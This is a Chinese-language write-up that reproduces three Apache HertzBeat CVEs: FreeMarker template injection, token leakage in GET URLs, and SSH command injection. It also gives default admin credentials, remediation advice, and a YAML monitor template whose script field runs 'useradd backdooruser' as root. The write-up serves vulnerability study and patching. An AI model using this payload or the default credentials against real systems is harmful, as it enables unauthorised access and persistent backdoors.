Apache HertzBeat 漏洞复现三则
字数 1284 2025-08-22 12:22:30

Apache HertzBeat 漏洞复现与分析文档

环境搭建

docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat apache/hertzbeat:v1.6.0

默认账号密码:admin/hertzbeat

CVE-2024-41151 - 模板注入漏洞

漏洞描述

这是一个FreeMarker模板注入漏洞,由于未对模板内容进行安全限制,导致攻击者可以执行任意代码。

漏洞分析

  • 漏洞存在于通知模板功能中
  • 1.6.1版本通过添加SAFER_RESOLVER修复了此漏洞
  • SAFER_RESOLVER阻止加载以下危险类:
    • freemarker.template.utility.JythonRuntime
    • freemarker.template.utility.Execute
    • freemarker.template.utility.ObjectConstructor

复现步骤

  1. 登录HertzBeat后台
  2. 进入"消息通知" → "通知模板"
  3. 创建一个新的通知模板,插入恶意FreeMarker模板代码
  4. 创建一个通知媒介
  5. 创建一个通知策略,使用刚创建的恶意模板
  6. 创建一个能触发告警的监控任务(如监控不存在的主机)
  7. 等待告警触发,观察模板注入效果

修复方式

升级到1.6.1或更高版本,该版本引入了SAFER_RESOLVER安全机制。

CVE-2024-45791 - 信息泄露漏洞

漏洞描述

在刷新Token时,Token通过GET请求的URL传递,可能导致Token泄露。

漏洞分析

  • Token可能通过以下途径泄露:
    • 被第三方平台记录
    • 被日志监控系统记录
    • 通过Referer头泄露到第三方平台
  • 修复方式改为在POST请求中传输Token

复现步骤

  1. 使用Burp Suite等工具拦截流量
  2. 观察Token刷新请求
  3. 在1.6.0版本中,Token会出现在GET请求的URL中
  4. 在1.6.1版本中,Token改为在POST请求体中传输

修复方式

升级到1.6.1或更高版本,该版本将Token传输方式改为POST请求。

CVE-2024-45505 - 命令注入漏洞

漏洞描述

通过SSH协议执行命令收集数据时,未对执行的命令进行限制,可能导致恶意命令执行。

漏洞分析

  • 漏洞存在于SSH监控功能中
  • 攻击者可以控制script字段执行任意命令
  • 1.6.1版本添加了命令黑名单机制
  • 需要知道目标系统的SSH凭据才能利用

复现步骤

  1. 创建一个新的监控模板,YAML内容如下:
category: os
app: example_linux
name:
  zh-CN: 模拟LINUX应用类型
  en-US: LINUX EXAMPLE APP
params:
  - field: host
    name:
      zh-CN: 主机Host
      en-US: Host
    type: host
    required: true
  - field: port
    name:
      zh-CN: 端口
      en-US: Port
    type: number
    range: '[0,65535]'
    required: true
    defaultValue: 22
    placeholder: '请输入端口'
  - field: username
    name:
      zh-CN: 用户名
      en-US: Username
    type: text
    limit: 50
    required: true
  - field: password
    name:
      zh-CN: 密码
      en-US: Password
    type: password
    required: true
metrics:
  - name: basic
    priority: 0
    fields:
      - field: hostname
        type: 1
        label: true
      - field: version
        type: 1
      - field: uptime
        type: 1
    protocol: ssh
    ssh:
      host: 192.168.18.45
      port: 22
      username: root
      password: root
      script: useradd backdooruser
    parseType: multiRow
  1. 使用该模板创建一个监控任务
  2. 观察目标系统,确认backdooruser用户是否被创建

修复方式

升级到1.6.1或更高版本,该版本添加了命令黑名单机制。

总结

这三个漏洞分别涉及不同的安全问题:

  1. CVE-2024-41151:模板注入漏洞,可能导致远程代码执行
  2. CVE-2024-45791:信息泄露漏洞,可能导致认证凭据泄露
  3. CVE-2024-45505:命令注入漏洞,可能导致系统被完全控制

建议所有使用HertzBeat的用户尽快升级到1.6.1或更高版本,以修复这些安全问题。对于无法立即升级的用户,应限制对HertzBeat管理界面的访问,并严格控制SSH监控任务的使用。

Apache HertzBeat 漏洞复现与分析文档 环境搭建 默认账号密码: admin/hertzbeat CVE-2024-41151 - 模板注入漏洞 漏洞描述 这是一个FreeMarker模板注入漏洞,由于未对模板内容进行安全限制,导致攻击者可以执行任意代码。 漏洞分析 漏洞存在于通知模板功能中 1.6.1版本通过添加 SAFER_RESOLVER 修复了此漏洞 SAFER_RESOLVER 阻止加载以下危险类: freemarker.template.utility.JythonRuntime freemarker.template.utility.Execute freemarker.template.utility.ObjectConstructor 复现步骤 登录HertzBeat后台 进入"消息通知" → "通知模板" 创建一个新的通知模板,插入恶意FreeMarker模板代码 创建一个通知媒介 创建一个通知策略,使用刚创建的恶意模板 创建一个能触发告警的监控任务(如监控不存在的主机) 等待告警触发,观察模板注入效果 修复方式 升级到1.6.1或更高版本,该版本引入了 SAFER_RESOLVER 安全机制。 CVE-2024-45791 - 信息泄露漏洞 漏洞描述 在刷新Token时,Token通过GET请求的URL传递,可能导致Token泄露。 漏洞分析 Token可能通过以下途径泄露: 被第三方平台记录 被日志监控系统记录 通过Referer头泄露到第三方平台 修复方式改为在POST请求中传输Token 复现步骤 使用Burp Suite等工具拦截流量 观察Token刷新请求 在1.6.0版本中,Token会出现在GET请求的URL中 在1.6.1版本中,Token改为在POST请求体中传输 修复方式 升级到1.6.1或更高版本,该版本将Token传输方式改为POST请求。 CVE-2024-45505 - 命令注入漏洞 漏洞描述 通过SSH协议执行命令收集数据时,未对执行的命令进行限制,可能导致恶意命令执行。 漏洞分析 漏洞存在于SSH监控功能中 攻击者可以控制 script 字段执行任意命令 1.6.1版本添加了命令黑名单机制 需要知道目标系统的SSH凭据才能利用 复现步骤 创建一个新的监控模板,YAML内容如下: 使用该模板创建一个监控任务 观察目标系统,确认 backdooruser 用户是否被创建 修复方式 升级到1.6.1或更高版本,该版本添加了命令黑名单机制。 总结 这三个漏洞分别涉及不同的安全问题: CVE-2024-41151:模板注入漏洞,可能导致远程代码执行 CVE-2024-45791:信息泄露漏洞,可能导致认证凭据泄露 CVE-2024-45505:命令注入漏洞,可能导致系统被完全控制 建议所有使用HertzBeat的用户尽快升级到1.6.1或更高版本,以修复这些安全问题。对于无法立即升级的用户,应限制对HertzBeat管理界面的访问,并严格控制SSH监控任务的使用。